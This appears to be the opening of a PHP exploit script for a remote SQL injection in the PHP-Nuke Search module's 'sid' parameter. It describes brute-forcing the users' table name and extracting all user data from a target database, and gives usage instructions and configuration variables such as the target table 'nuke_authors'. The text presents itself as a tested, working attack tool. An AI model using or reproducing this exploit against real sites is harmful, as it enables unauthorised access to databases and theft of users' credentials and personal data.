PHP-Nuke <= 8.1.0.3.5b (Search 'sid') Remote SQL Injection Exploit  
bug details and explanation on http://vis-intelligendi.co.cc (search php-nuke)  
bytheway there are so many bugs in the Search module ( check author etc ).  
  
  
This script will first brute users' table name (if you want) and second will extract all users data from the db  
(or only one user, if you specify the ID)   
  
  
usage php phpnuke_exploit.php host path [uid]  
  
!! TESTED !! WE DON'T SUBMIT EXPLOITS WITHOUT VERIFYING THEM  
  
  
/* GENERAL CONFIGURATION */  
$table = "nuke_authors"; # THIS MAYBE CHANGES FROM SITE TO SITE, usually users,e_xoops_users, sam_users  
$brute_table = FALSE; # IF THE EXPLOIT DOES not work first time, probably the reason is the table name, so set this to TRUE and the exploit will brute the table name if mysql version >= 5  
# this may take some minutes..
